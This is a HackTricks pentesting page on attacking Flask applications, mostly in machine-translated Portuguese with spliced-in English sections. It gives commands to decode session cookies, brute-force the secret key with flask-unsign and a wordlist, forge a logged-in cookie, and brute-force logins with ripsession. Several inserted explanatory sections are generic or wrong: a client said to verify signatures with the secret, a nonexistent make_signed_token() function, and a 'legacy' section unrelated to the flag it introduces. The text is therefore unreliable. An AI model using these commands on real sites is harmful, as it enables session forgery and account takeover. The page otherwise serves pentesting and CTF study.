hacktricks/network-services-pentesting/pentesting-web/flask.md

199 lines
11 KiB
Markdown

# Flask
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Obtenha acesso hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Provavelmente, se você estiver jogando um CTF, uma aplicação Flask estará relacionada a** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
## Cookies
O nome padrão da sessão do cookie é **`session`**.
### Decodificador
Decodificador de cookies Flask online: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manual
Obtenha a primeira parte do cookie até o primeiro ponto e decodifique em Base64>
```bash
echo "ImhlbGxvIg" | base64 -d
```
O cookie também é assinado usando uma senha
### **Flask-Unsign**
Ferramenta de linha de comando para buscar, decodificar, forçar bruta e criar cookies de sessão de uma aplicação Flask ao adivinhar chaves secretas.
{% embed url="https://pypi.org/project/flask-unsign/" %}
```bash
pip3 install flask-unsign
```
#### **Decodificar Cookie**
A cookie is a small piece of data that is stored on the client-side and is used to store information about the user. Cookies are often used in web applications to maintain user sessions and personalize the user experience.
When performing a web application penetration test, it is important to understand how cookies are being used and if they are properly secured. One way to do this is by decoding the cookie to see its contents.
To decode a cookie, you can use various tools and techniques. One common method is to use a browser extension or developer tools to view the cookie's value in plain text. Another option is to use a programming language like Python to decode the cookie programmatically.
Here is an example of how you can decode a cookie using Python:
```python
import base64
def decode_cookie(cookie):
decoded_cookie = base64.b64decode(cookie)
return decoded_cookie.decode('utf-8')
cookie = 'SGVsbG8gV29ybGQh'
decoded_cookie = decode_cookie(cookie)
print(decoded_cookie)
```
In this example, the `base64` module is used to decode the cookie. The `decode_cookie` function takes a cookie as input, decodes it using `base64.b64decode`, and returns the decoded cookie as a string.
By decoding the cookie, you can see its contents and understand what information is being stored. This can be useful for identifying potential security vulnerabilities, such as sensitive data being stored in cookies without proper encryption or protection.
It is important to note that decoding a cookie does not modify its value or affect the web application in any way. It is simply a way to view the contents of the cookie for analysis purposes.
Remember to always obtain proper authorization before performing any penetration testing activities.
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Força Bruta**
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
#### **Assinatura**
A assinatura é um mecanismo de autenticação usado para verificar a integridade e a autenticidade dos dados transmitidos. No contexto da segurança da web, a assinatura é frequentemente usada para proteger as sessões de usuário e evitar a falsificação de solicitações entre sites (CSRF).
A assinatura é geralmente realizada usando uma chave secreta compartilhada entre o servidor e o cliente. O servidor gera uma assinatura para os dados usando a chave secreta e envia a assinatura junto com os dados para o cliente. O cliente, em seguida, verifica a assinatura usando a mesma chave secreta e compara-a com a assinatura recebida. Se as assinaturas coincidirem, isso indica que os dados não foram alterados e que a fonte é autêntica.
O Flask, um popular framework da web em Python, fornece suporte embutido para assinaturas. Ele usa a biblioteca Werkzeug para gerar e verificar assinaturas. O Flask usa uma chave secreta configurada no aplicativo para realizar a assinatura.
Para gerar uma assinatura em Flask, você pode usar a função `make_signed_token()` do objeto `itsdangerous.URLSafeTimedSerializer`. Esta função recebe uma carga útil (payload) e retorna uma string que contém a carga útil assinada.
```python
from itsdangerous import URLSafeTimedSerializer
from flask import Flask
app = Flask(__name__)
app.config['SECRET_KEY'] = 'sua_chave_secreta_aqui'
@app.route('/')
def index():
s = URLSafeTimedSerializer(app.config['SECRET_KEY'])
payload = {'user_id': 123}
signed_token = s.dumps(payload)
return signed_token
```
Para verificar uma assinatura em Flask, você pode usar a função `loads()` do objeto `URLSafeTimedSerializer`. Esta função recebe a string assinada e retorna a carga útil original se a assinatura for válida.
```python
from itsdangerous import URLSafeTimedSerializer
from flask import Flask
app = Flask(__name__)
app.config['SECRET_KEY'] = 'sua_chave_secreta_aqui'
@app.route('/verify/<signed_token>')
def verify(signed_token):
s = URLSafeTimedSerializer(app.config['SECRET_KEY'])
payload = s.loads(signed_token)
return f"Payload: {payload}"
```
Ao usar assinaturas em Flask, é importante manter a chave secreta segura e não compartilhá-la com terceiros. A chave secreta é usada para gerar e verificar assinaturas, e qualquer pessoa que tenha acesso a ela pode falsificar assinaturas e comprometer a segurança do aplicativo.
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Assinando usando versões antigas (legado)
When using Flask, it is important to be aware of the potential security risks associated with using legacy (old) versions of the framework. Older versions of Flask may have vulnerabilities that can be exploited by attackers. Therefore, it is recommended to always use the latest stable version of Flask to ensure the best security practices.
To sign data using legacy versions of Flask, you can follow these steps:
1. Import the necessary modules:
```python
from flask import Flask
from itsdangerous import Signer
```
2. Create an instance of the Flask application:
```python
app = Flask(__name__)
```
3. Generate a secret key for signing the data:
```python
app.secret_key = 'your_secret_key'
```
4. Create a signer object using the secret key:
```python
signer = Signer(app.secret_key)
```
5. Sign the data using the signer object:
```python
signed_data = signer.sign('your_data')
```
6. Verify the signature:
```python
is_valid = signer.verify(signed_data)
```
By following these steps, you can sign data using legacy versions of Flask. However, it is strongly recommended to upgrade to the latest version of Flask to ensure the best security practices and protect against potential vulnerabilities.
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
Ferramenta de linha de comando para realizar brute-force em sites usando cookies criados com flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi em cookie de sessão Flask com SQLmap
[**Este exemplo**](../../pentesting-web/sql-injection/sqlmap/#eval) usa a opção `eval` do sqlmap para **automaticamente assinar payloads do sqlmap** para o Flask usando um segredo conhecido.
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>